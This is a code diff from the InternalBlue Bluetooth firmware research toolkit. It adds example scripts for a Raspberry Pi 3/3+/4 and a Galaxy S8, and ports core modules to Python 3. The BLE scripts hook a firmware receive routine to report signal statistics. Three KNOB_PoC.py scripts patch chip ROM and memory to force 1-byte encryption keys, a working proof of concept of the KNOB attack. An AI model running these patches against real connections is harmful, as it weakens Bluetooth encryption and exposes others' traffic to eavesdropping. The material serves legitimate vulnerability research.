+internalblue = HCICore()
+device_list = internalblue.device_list()
+if len(device_list) == 0:
+    log.warn("No HCI devices connected!")
+    exit(-1)
+internalblue.interface = device_list[0][1] # just use the first device
+
+
+RX_DONE_HOOK_ADDRESS = 0x35fbc  # _connTaskRxDone
+HOOKS_LOCATION = 0x210500
+ASM_HOOKS = """
+
+    // restore first 4 bytes of _connTaskRxDone
+    push  {r4-r6,lr}
+    mov   r4, r0
+
+    // fix registers for our own routine
+    push  {r1-r7, lr}
+    mov   r7, r0
+
+    // allocate vendor specific hci event
+    mov  r2, 243
+    mov  r1, 0xff
+    mov  r0, 245
+    bl   0x3670  // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
+    mov  r4, r0  // save pointer to the buffer in r4
+
+    // append buffer with "RXDN"
+    add  r0, 10  // buffer starts at 10 with data
+    ldr  r1, =0x4e445852 // RXDN
+    str  r1, [r0]
+    add  r0, 4   // advance buffer by 4
+
+    // copy 239 bytes of le_conn to buffer
+    mov  r2, #238
+    mov  r1, r7  // le_conn[0]
+    bl   0x45824 // __rt_memcpy
+
+    // for debugging purposes, we overwrite the first byte
+    // (which is the connTaskCallback anyway) with RSSI info
+    mov  r2, #1  // 1 rssi byte
+    add.w r1, r7, #0x10a // le_conn[0x10a] is position of rssi
+    mov  r0, r4
+    add  r0, 14
+    bl   0x45824 // __rt_memcpy
+
+    // send hci event
+    mov  r0, r4  // back to buffer at offset 0
+    bl   0x358e  // send_hci_event
+
+    // undo registers for our own routine
+    mov   r0, r7
+    pop   {r1-r7, lr}
+
+    // branch back to _connTaskRxDone + 4
+    b     0x35fc0
+
+"""
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+# Install hooks
+code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
+log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
+if not internalblue.writeMem(HOOKS_LOCATION, code):
+    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
+    exit(-1)
+
+log.info("Installing hook patch...")
+patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
+if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
+    log.critical("Installing patch for _connTaskRxDone failed!")
+    exit(-1)
+
+
+log.info("--------------------")
+log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")

examples/rpi3/KNOB_PoC.py

@@ -0,0 +1,48 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.hcicore import HCICore
+
+
+
+"""
+This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = HCICore()
+internalblue.interface = internalblue.device_list()[0][1]  # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+patch = asm("mov r2, #0x1", vma=0x689F0)  # connection struct key entropy
+internalblue.patchRom(0x689F0, patch)
+
+# modify global variable for own setting
+internalblue.writeMem(0x204127, '\x01')  # global key entropy
+
+
+internalblue.shutdown()
+exit(-1)
+log.info("-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
+         "For more details, see special instructions for BlueZ.\n")
+
+

examples/rpi3p_rpi4/BLE_Reception_PoC.py

@@ -0,0 +1,90 @@
+#!/usr/bin/env python2
+
+# Jiska Classen
+
+# Get receive statistics on a Raspberry Pi 3 for BLE connection events
+
+from pwn import *
+from internalblue.hcicore import HCICore
+
+
+internalblue = HCICore()
+device_list = internalblue.device_list()
+if len(device_list) == 0:
+    log.warn("No HCI devices connected!")
+    exit(-1)
+internalblue.interface = device_list[0][1] # just use the first device
+
+
+RX_DONE_HOOK_ADDRESS = 0x56622  # _connTaskRxDone
+HOOKS_LOCATION = 0x210500
+ASM_HOOKS = """
+
+    // restore first 4 bytes of _connTaskRxDone
+    push  {r4-r6,lr}
+    mov   r4, r0
+
+    // fix registers for our own routine
+    push  {r1-r7, lr}
+    mov   r7, r0
+
+    // allocate vendor specific hci event
+    mov  r2, 243
+    mov  r1, 0xff
+    mov  r0, 245
+    bl   0x2770  // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
+    mov  r4, r0  // save pointer to the buffer in r4
+
+    // append buffer with "RXDN"
+    add  r0, 10  // buffer starts at 10 with data
+    ldr  r1, =0x4e445852 // RXDN
+    str  r1, [r0]
+    add  r0, 4   // advance buffer by 4
+
+    // copy 239 bytes of le_conn to buffer
+    mov  r2, #238
+    mov  r1, r7  // le_conn[0]
+    bl   0x775C8 // __rt_memcpy
+
+    // for debugging purposes, we overwrite the first byte
+    // (which is the connTaskCallback anyway) with RSSI info
+    mov  r2, #1  // 1 rssi byte
+    add.w r1, r7, #0x10a // le_conn[0x10a] is position of rssi
+    mov  r0, r4
+    add  r0, 14
+    bl   0x775C8 // __rt_memcpy
+
+    // send hci event
+    mov  r0, r4  // back to buffer at offset 0
+    bl   0x268E  // send_hci_event
+
+    // undo registers for our own routine
+    mov   r0, r7
+    pop   {r1-r7, lr}
+
+    // branch back to _connTaskRxDone + 4
+    b     0x56626
+
+"""
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+# Install hooks
+code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
+log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
+if not internalblue.writeMem(HOOKS_LOCATION, code):
+    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
+    exit(-1)
+
+log.info("Installing hook patch...")
+patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
+if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
+    log.critical("Installing patch for _connTaskRxDone failed!")
+    exit(-1)
+
+
+log.info("--------------------")
+log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")

examples/rpi3p_rpi4/KNOB_PoC.py

@@ -0,0 +1,48 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.hcicore import HCICore
+
+
+
+"""
+This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = HCICore()
+internalblue.interface = internalblue.device_list()[0][1]  # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+patch = asm("mov r2, #0x1", vma=0x3B3D4)  # connection struct key entropy
+internalblue.patchRom(0x3B3D4, patch)
+
+# modify global variable for own setting
+internalblue.writeMem(0x204A5F, '\x01')  # global key entropy
+
+
+internalblue.shutdown()
+exit(-1)
+log.info("-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
+         "For more details, see special instructions for BlueZ.\n")
+
+

examples/s8/BLE_Reception_PoC.py

@@ -0,0 +1,179 @@
+#!/usr/bin/env python2
+
+# Jiska Classen
+
+# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
+
+from builtins import range
+from pwn import *
+from internalblue.adbcore import ADBCore
+import internalblue.hci as hci
+import internalblue.cli as cli
+
+internalblue = ADBCore(serial=True)
+device_list = internalblue.device_list()
+if len(device_list) == 0:
+    log.warn("No HCI devices connected!")
+    exit(-1)
+internalblue.interface = device_list[0][1] # just use the first device
+
+
+"""
+# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
+# they had to for Bluetooth 5 compliance.
+# The base address is 0x5E324, and this will jump into the Patchram.
+# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
+"""
+#RX_DONE_HOOK_ADDRESS = 0x1344D0  # on S8 with Patchlevel May 1 2019 on stock ROM
+#RX_DONE_HOOK_ADDRESS = 0x134500  # on S8 with Lineage OS Nightly from August 30 2019
+RX_DONE_HOOK_ADDRESS = 0x134514  # on S8 with Patchlevel September 1 2019 on stock ROM
+HOOKS_LOCATION = 0x210500
+ASM_HOOKS = """
+
+    // restore first 4 bytes of _connTaskRxDone
+    push  {r4-r12,lr}
+    mov   r4, r0
+
+    // fix registers for our own routine
+    push  {r1-r7, lr}
+    mov   r7, r0
+
+    // allocate vendor specific hci event
+    mov  r2, 243
+    mov  r1, 0xff
+    mov  r0, 245
+    bl   0xE628  // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
+    mov  r4, r0  // save pointer to the buffer in r4
+
+    // append buffer with "RXDN"
+    add  r0, 10  // buffer starts at 10 with data
+    ldr  r1, =0x4e445852 // RXDN
+    str  r1, [r0]
+    add  r0, 4   // advance buffer by 4
+
+    // copy 239 bytes of le_conn to buffer
+    mov  r2, #238
+    mov  r1, r7  // le_conn[0]
+    bl   0x857B4 // __rt_memcpy
+
+    // for debugging purposes, we overwrite the first byte
+    // (which is the connTaskCallback anyway) with RSSI info
+    mov  r2, #1  // 1 rssi byte
+    add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi
+    mov  r0, r4
+    add  r0, 14
+    bl   0x857B4 // __rt_memcpy
+
+    // send hci event
+    mov  r0, r4  // back to buffer at offset 0
+    bl   0xE418  // bthci_event_AttemptToEnqueueEventToTransport
+
+    // undo registers for our own routine
+    mov   r0, r7
+    pop   {r1-r7, lr}
+
+    // branch back to _connTaskRxDone + 4
+    //b     0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
+    //b     0x134504 // August 30 Nightly Build
+    b 0x%x
+
+""" % (RX_DONE_HOOK_ADDRESS+4)
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+# Install hooks
+code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
+log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
+if not internalblue.writeMem(HOOKS_LOCATION, code):
+    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
+    exit(-1)
+
+log.info("Installing hook patch...")
+patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
+if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
+    log.critical("Installing patch for _connTaskRxDone failed!")
+    exit(-1)
+
+
+# RXDN statistics callback variables
+internalblue.last_nesn_sn = None
+internalblue.last_success_event = None
+
+
+def lereceiveStatusCallback(record):
+    """
+    RXDN Callback Function
+
+    Depends on the raspi3_rxdn.py or eval_rxdn.py script,
+    which patches the _connTaskRxDone() function and copies
+    info from the LE connection struct to HCI.
+    """
+
+    hcipkt = record[0]  # get HCI Event packet
+
+    if not issubclass(hcipkt.__class__, hci.HCI_Event):
+        return
+
+    if hcipkt.data[0:4] == "RXDN":
+        data = hcipkt.data[4:]
+
+        # Raspi 3 gets errors
+        if len(data) < 239:
+            return
+
+        #if raspi or s8:
+        packet_curr_nesn_sn = u8(data[0xa0])
+
+        #elif eval:
+        #    packet_curr_nesn_sn = u8(data[0xa4])
+
+        packet_channel_map = data[0x54:0x7b]
+        packet_channel = u8(data[0x83])
+        packet_event_ctr = u16(data[0x8e:0x90])
+        packet_rssi = u8(data[0])
+
+        if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
+            log.info("             ^----------------------------- ERROR --------------------------------")
+
+        # currently only supported by eval board: check if we also went into the process payload routine,
+        # which probably corresponds to a correct CRC
+        # if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
+        #    log.debug("             ^----------------------------- MISSED -------------------------------")
+
+        # TODO example for setting the channel map
+        # timeout needs to be zero, because we are already in an event reception routine!
+        # self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
+
+        internalblue.last_nesn_sn = packet_curr_nesn_sn
+
+        # draw channel with rssi color
+        color = '\033[92m'  # green
+        if 0xc8 > packet_rssi >= 0xc0:
+            color = '\033[93m'  # yellow
+        elif packet_rssi < 0xc0:
+            color = '\033[91m'  # red
+
+        channels_total = u8(packet_channel_map[37])
+        channel_map = 0x0000000000
+        if channels_total <= 37:  # raspi 3 messes up with this during blacklisting
+            for channel in range(0, channels_total):
+                channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
+
+        log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
+                                                                      (packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
+                                                                      color, ' ' * packet_channel))
+
+
+
+log.info("--------------------")
+log.info("Entering InternalBlue CLI to display statistics.")
+
+# add RXDN callback
+internalblue.registerHciCallback(lereceiveStatusCallback)
+
+
+# enter CLI
+cli.commandLoop(internalblue)

examples/s8/KNOB_PoC.py

@@ -0,0 +1,47 @@
+#!/usr/bin/python2
+
+# Jiska Classen, Secure Mobile Networking Lab
+
+
+from pwn import *
+from internalblue.adbcore import ADBCore
+
+
+
+"""
+This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
+
+Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
+For details see https://github.com/francozappa/knob
+
+This PoC is much shorter since it only modifies global variables for key entropy.
+
+"""
+
+
+internalblue = ADBCore(serial=True)
+internalblue.interface = internalblue.device_list()[0][1] # just use the first device
+
+# setup sockets
+if not internalblue.connect():
+    log.critical("No connection to target device.")
+    exit(-1)
+
+
+log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
+
+# modify function lm_SendLmpEncryptKeySizeReq
+patch = asm("mov r2, #0x1", vma=0x530F6)  # connection struct key entropy
+internalblue.patchRom(0x530F6, patch)
+
+# modify global variable for own setting
+internalblue.writeMem(0x255E8F, '\x01')  # global key entropy
+
+
+internalblue.shutdown()
+exit(-1)
+log.info("-----------------------\n"
+         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
+         "Currently, there is no LMP monitoring option on Android 8.\n")
+
+

internalblue/__init__.py

@@ -1 +1,37 @@
 
+from future import standard_library
+standard_library.install_aliases()
+try:
+    from queue import Queue
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Union, NewType, Callable, Dict
+
+    if TYPE_CHECKING:
+        import datetime
+        from internalblue.hci import HCI
+        from internalblue.core import InternalBlue
+        Address = NewType("Address", int)
+        Record = Tuple[HCI, int, int, int, Any, datetime.datetime]
+        FilterFunction = Callable[[Record], bool]
+        ConnectionNumber = NewType("ConnectionNumber", int)
+        ConnectionIndex = NewType("ConnectionIndex", int)
+
+        BluetoothAddress = NewType("BluetoothAddress", bytes)
+        ConnectionDict = NewType("ConnectionDict", Dict[str,Any])
+        HeapInformation = NewType("HeapInformation", Dict[str, Any])
+        QueueInformation = NewType('QueueInformation', Dict[str, Any])
+        Opcode = NewType('Opcode', int)
+        HCI_CMD = NewType('HCI_CMD', int)
+        Task = Tuple[HCI_CMD, bytes, Queue.Queue, Callable[[Record], bool]]
+
+        Device = NewType("Device", Dict[str, Any])
+        """{"dev_id": dev_id,
+         "dev_name": dev_name,
+         "dev_bdaddr": dev_bdaddr,
+         "dev_flags": dev_flags,
+         "dev_flags_str": dev_flags_str}"""
+        # InternalBlueCore, Device Name, SomeString
+        DeviceTuple = Tuple[InternalBlue, str, str]
+
+
+except:
+    pass

internalblue/adbcore.py

@@ -1,20 +1,24 @@
 #!/usr/bin/env python2
 
+from future import standard_library
+standard_library.install_aliases()
+from builtins import str
 import datetime
 import socket
-import Queue
+import queue as queue2k
 import random
-import hci
+from internalblue import hci
+from internalblue.utils import bytes_to_hex
 
 from pwn import *
 
-from core import InternalBlue
+from .core import InternalBlue
 
 
 class ADBCore(InternalBlue):
 
-    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial='True', data_directory="."):
-        super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
+    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial=False, data_directory=".", replay=False):
+        super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory, replay)
         self.hciport = None     # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
         self.serial = serial    # use serial su busybox scripting and do not try bluetooth.default.so
         self.doublecheck = False
@@ -31,6 +35,8 @@ class ADBCore(InternalBlue):
             log.warn("Already running. call shutdown() first!")
             return []
 
+        if self.replay:
+            return [(self, "adb_replay", 'adb: ReplayDevice' )]
         # Check for connected adb devices
         try:
             adb_devices = adb.devices()
@@ -139,7 +145,7 @@ class ADBCore(InternalBlue):
             while(not self.exit_requested and len(record_hdr) < 24):
                 try:
                     recv_data = self.s_snoop.recv(24 - len(record_hdr))
-                    log.debug("recvThreadFunc: received bt_snoop data " + recv_data.encode('hex'))
+                    log.debug("recvThreadFunc: received bt_snoop data " + bytes_to_hex(recv_data))
                     if len(recv_data) == 0:
                         log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread...")
                         self.exit_requested = True
@@ -161,7 +167,7 @@ class ADBCore(InternalBlue):
             orig_len, inc_len, flags, drops, time64 = struct.unpack( ">IIIIq", record_hdr)
 
             # Read the record data
-            record_data = b''
+            record_data = bytearray()
             while(not self.exit_requested and len(record_data) < inc_len):
                 try:
                     recv_data = self.s_snoop.recv(inc_len - len(record_data))
@@ -169,7 +175,7 @@ class ADBCore(InternalBlue):
                         log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping..")
                         self.exit_requested = True
                         break
-                    record_data += recv_data
+                    record_data += bytearray(recv_data)
                 except socket.timeout:
                     pass # this is ok. just try again without error
 
@@ -199,7 +205,7 @@ class ADBCore(InternalBlue):
                 if filter_function == None or filter_function(record):
                     try:
                         queue.put(record, block=False)
-                    except Queue.Full:
+                    except queue.Full:
                         log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
 
             # Call all callback functions inside registeredHciCallbacks and pass the
@@ -227,7 +233,7 @@ class ADBCore(InternalBlue):
         # (with multiple attached Android devices) we must not hard code the
         # forwarded port numbers. Therefore we choose the port numbers
         # randomly and hope that they are not already in use.
-        self.hciport = random.randint(60000, 65535)
+        self.hciport = random.randint(60000, 65534)  # minus 1, as we are using hciport + 1
         log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
 
         # Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.

internalblue/cli.py

@@ -28,16 +28,27 @@
 #   Software.
 
 
+from __future__ import print_function
+from builtins import str
 from pwn import *
 import os
 import traceback
 import argparse
 
-from adbcore import ADBCore
-from hcicore import HCICore
-from ioscore import iOSCore
+from .adbcore import ADBCore
+from .hcicore import HCICore
+from sys import platform
 
-import cmds
+from . import cmds
+
+try:
+    import typing
+    from typing import List, Optional
+    from internalblue.core import InternalBlue
+    from . import DeviceTuple
+
+except:
+    pass
 
 HISTFILE = "_internalblue.hist"
 
@@ -53,11 +64,15 @@ type <help> for usage information!\n\n"""
     for line in banner:
         term.output(text.blue(line))
 
-def commandLoop(internalblue):
+def commandLoop(internalblue, init_commands=None):
+    cmdstack = init_commands.split(';')[::-1] if init_commands else None
     while internalblue.running and not internalblue.exit_requested:
         cmd_instance = None
         try:
-            cmdline = term.readline.readline(prompt='> ').strip()
+            if cmdstack:
+                cmdline = cmdstack.pop().strip()
+            else:
+                cmdline = term.readline.readline(prompt='> ').strip().decode('utf-8')
             cmdword = cmdline.split(' ')[0].split('=')[0]
             if(cmdword == ''):
                 continue
@@ -67,12 +82,11 @@ def commandLoop(internalblue):
                 log.warn("Command unknown: " + cmdline)
                 continue
             cmd_instance = matching_cmd(cmdline, internalblue)
-
             if(not cmd_instance.work()):
                 log.warn("Command failed: " + str(cmd_instance))
         except ValueError as e:
             log.warn("commandLoop: ValueError: " + str(e))
-            continue
+            raise
         except KeyboardInterrupt:
             if(cmd_instance != None):
                 cmd_instance.abort_cmd()
@@ -80,24 +94,40 @@ def commandLoop(internalblue):
                 log.info("Got Ctrl-C; exiting...")
                 internalblue.exit_requested = True
                 break
+        except AssertionError as e:
+            raise
+        except socket.error as e:
+            if e.args == (1, "Operation not permitted"):
+                log.critical("Received an 'Operation not permitted' socket.error, you might need root for the command '{}'".format(cmdline))
+                log.critical(traceback.format_exc())
         except Exception as e:
             internalblue.exit_requested = True      # Make sure all threads terminate
             log.critical("Uncaught exception (%s). Abort." % str(e))
             print(traceback.format_exc())
-            break
+            raise
         cmd_instance = None
 
-
-# Main Program Start
-def internalblue_cli():
-    print_banner()
+def _parse_argv(argv):
 
     parser = argparse.ArgumentParser()
     parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue")
     parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true")
     parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).")
     parser.add_argument("--serialsu", "-s", help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.", action="store_true")
-    args = parser.parse_args()
+    parser.add_argument("--testdevice", "-t", help="Use a dummy test device to execute testcases", action="store_true")
+    parser.add_argument("--trace", help="Trace hci connection")
+    parser.add_argument("--device", help="Specify device/core to be used")
+    parser.add_argument("--commands", "-c", help="CLI command to run before prompting, seperated by ';' (used for easier testing)")
+    parser.add_argument("--replay", help="Intercept and replace every communication with the core with the one in the specified file")
+    parser.add_argument("--save", help="Store a trace into the file that can be used with --replay")
+    return parser.parse_args(argv)
+
+
+# Main Program Start
+def internalblue_cli(argv, args=None):
+    #print_banner()
+
+    args = args or _parse_argv(argv)
 
     if args.data_directory is not None:
         data_directory = args.data_directory
@@ -119,21 +149,84 @@ def internalblue_cli():
     readline_completer = term.completer.LongestPrefixCompleter(words=cmd_keywords)
     term.readline.set_completer(readline_completer)
 
+
+
+    if args.trace:
+        from .socket_hooks import hook
+        from internalblue import socket_hooks
+        HookClass = getattr(socket_hooks, args.trace)
+        hook(HCICore, HookClass)
+        hook(ADBCore, HookClass)
+    elif args.save:
+        from .socket_hooks import hook, TraceToFileHook
+        hook(HCICore, TraceToFileHook, filename=args.save)
+        hook(ADBCore, TraceToFileHook, filename=args.save)
+
+
     # Initalize cores and get devices
-    if args.ios_device:
-        connection_methods = [iOSCore(args.ios_device, log_level=log_level,
-            data_directory=data_directory)]
+    # As macOS has additional dependencies (objc), only import it here if needed
+    connection_methods = [] # type: List[InternalBlue]
+    if args.replay:
+        from .socket_hooks import hook, ReplaySocket
+        from .macoscore import macOSCore
+        replay_devices = ['macos_replay', 'adb_replay', 'hci_replay', 'ios_replay']
+        if args.device == "macos_replay":
+            from .macoscore import macOSCore
+            hook(macOSCore, ReplaySocket, filename=args.replay)
+            connection_methods = [macOSCore(log_level=log_level, data_directory=data_directory, replay=True)]
+        elif args.device == "hci_replay":
+            hook(HCICore, ReplaySocket, filename=args.replay)
+            connection_methods = [HCICore(log_level=log_level, data_directory=data_directory, replay=True)]
+        elif args.device == "adb_replay":
+            hook(ADBCore, ReplaySocket, filename=args.replay)
+            connection_methods = [ADBCore(log_level=log_level, data_directory=data_directory, replay=True)]
+        elif args.device == "ios_replay":
+            raise NotImplementedError("ios replay is not implemented yet")
+        else:
+            raise ValueError("--device is required with --replay and has to be one of {}".format(replay_devices))
+
+    elif args.ios_device:
+        from .ioscore import iOSCore
+        connection_methods = [iOSCore(args.ios_device, log_level=log_level, data_directory=data_directory)]
+    elif args.testdevice:
+        from .testcore import testCore
+        connection_methods = [testCore(log_level=log_level, data_directory=data_directory)]
+    elif platform == "darwin":
+        from .macoscore import macOSCore
+        connection_methods = [
+            macOSCore(log_level=log_level, data_directory=data_directory, replay=(args.replay and args.device == 'mac')),
+            ADBCore(log_level=log_level, data_directory=data_directory)]
+        if args.trace:
+            hook(macOSCore, HookClass)
+        elif args.save:
+            hook(macOSCore, TraceToFileHook, filename=args.save)
     else:
         connection_methods = [
             ADBCore(log_level=log_level, data_directory=data_directory, serial=args.serialsu),
             HCICore(log_level=log_level, data_directory=data_directory)]
 
-    devices = []
+    devices = [] # type: List[DeviceTuple]
     for connection_method in connection_methods:
         devices.extend(connection_method.device_list())
 
+
+    device = None # type: Optional[DeviceTuple]
     if len(devices) > 0:
-        if len(devices) == 1:
+        if args.replay:
+            # There should only be one device that was created when --replay was passed
+            device = devices[0]
+        elif args.device:
+            matching_devices = [ dev for dev in devices if dev[1] == args.device]
+            if len(matching_devices) > 1:
+                log.critical("Found multiple matching devices")
+                exit(-1)
+            elif len(matching_devices) == 1:
+                log.info("Found device is: {}".format(matching_devices[0]))
+                device = matching_devices[0]
+            else:
+                log.critical("No matching devices found")
+                exit(-1)
+        elif len(devices) == 1:
             device = devices[0]
         else:
             i = options('Please specify device:',  [d[2] for d in devices], 0)
@@ -146,7 +239,7 @@ def internalblue_cli():
         # Restore readline history:
         if os.path.exists(reference.data_directory + "/" + HISTFILE):
             readline_history = read(reference.data_directory + "/" + HISTFILE)
-            term.readline.history = readline_history.split('\n')
+            term.readline.history = readline_history.split(b'\n')
 
         # Connect to device
         if not reference.connect():
@@ -154,20 +247,22 @@ def internalblue_cli():
             exit(-1)
 
         # Enter command loop (runs until user quits)
-        commandLoop(reference)
+        log.info("Starting commandLoop for reference {}".format(reference))
+        commandLoop(reference, init_commands=args.commands)
 
         # shutdown connection
         reference.shutdown()
 
         # Save readline history:
-        f = open(reference.data_directory + "/" + HISTFILE, "w")
-        f.write("\n".join(term.readline.history))
-        f.close()
+        # TODO: - This causes issues, have to fix ASAP
+        # f = open(reference.data_directory + "/" + HISTFILE, "w")
+        # f.write("\n".join(term.readline.history))
+        # f.close()
 
     # Cleanup
     log.info("Goodbye")
 
 
 if __name__ == "__main__":
-    internalblue_cli()
+    internalblue_cli(sys.argv[1:])
 

internalblue/cmds.py

@@ -23,6 +23,11 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
+from __future__ import print_function
+from builtins import str
+from builtins import hex
+from builtins import range
+from builtins import object
 from pwn import *
 import os
 import sys
@@ -35,8 +40,24 @@ import struct
 import time
 import select
 import json
+from internalblue.utils import bytes_to_hex
+
+
+
+
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Type
+
+    if TYPE_CHECKING:
+        from internalblue.core import InternalBlue
+        from internalblue.hci import HCI
+        from internalblue import Record, BluetoothAddress, Address
+except:
+    pass
 
 def getCmdList():
+    # type: () -> List[Type['Cmd']]
     """ Returns a list of all commands which are defined in this cmds.py file.
     This is done by searching for all subclasses of Cmd
     """
@@ -44,6 +65,7 @@ def getCmdList():
                             if inspect.isclass(obj) and issubclass(obj, Cmd)][1:]
 
 def findCmd(keyword):
+    # type: (str) -> Optional[Type['Cmd']]
     """ Find and return a Cmd subclass for a given keyword.
     """
     command_list = getCmdList()
@@ -61,11 +83,13 @@ def auto_int(x):
     return int(x, 0)
 
 def bt_addr_to_str(bt_addr):
+    # type: (BluetoothAddress) -> str
     """ Convert a Bluetooth address (6 bytes) into a human readable format.
     """
-    return ":".join([b.encode("hex") for b in bt_addr])
+    return ":".join(format(x, '02x') for x in bytearray(bt_addr))
 
 def parse_bt_addr(bt_addr):
+    # type: (Any) -> Optional[BluetoothAddress]
     """ Convert Bluetooth address argument and check lengths.
     """
     addr = bt_addr
@@ -86,17 +110,18 @@ def parse_bt_addr(bt_addr):
     return addr
 
 
-class Cmd:
+class Cmd(object):
     """ This class is the superclass of a CLI command. Every CLI command
     must be defined as subclass of Cmd. The subclass must define the
     'keywords' list as member variable. The actual implementation of the
     command should be located in the work() method.
     """
-    keywords = []
+    keywords = [] # type: List[str]
 
-    memory_image = None
+    memory_image = None # type: Optional[bytes]
 
     def __init__(self, cmdline, internalblue):
+        # type: (str, InternalBlue) -> None
         self.cmdline = cmdline
         self.internalblue = internalblue
         self.memory_image_template_filename = internalblue.data_directory + "/memdump__template.bin"
@@ -105,23 +130,28 @@ class Cmd:
                                               self.internalblue.fw.__name__[6:12] + "_template.bin"
 
     def __str__(self):
+        # type: () -> str
         return self.cmdline
 
     def work(self):
+        # type: () -> bool
         return True
 
     def abort_cmd(self):
+        # type: () -> None
         self.aborted = True
         if hasattr(self, 'progress_log'):
             self.progress_log.failure("Command aborted")
 
     def getArgs(self):
+        # type: () -> Any
         try:
             return self.parser.parse_args(self.cmdline.split(' ')[1:])
         except SystemExit:
             return None
 
     def isAddressInSections(self, address, length=0, sectiontype=""):
+        # type: (int, int, str) -> bool
         if not self.internalblue.fw:
             return False
 
@@ -137,12 +167,15 @@ class Cmd:
         return False
 
     def readMem(self, address, length, progress_log=None, bytes_done=0, bytes_total=0):
+        # type: (Address, int, Optional[Any], int, int) -> Optional[bytes]
         return self.internalblue.readMem(address, length, progress_log, bytes_done, bytes_total)
 
     def writeMem(self, address, data, progress_log=None, bytes_done=0, bytes_total=0):
+        # type: (Address, bytes, Optional[Any], int, int) -> bool
         return self.internalblue.writeMem(address, data, progress_log, bytes_done, bytes_total)
 
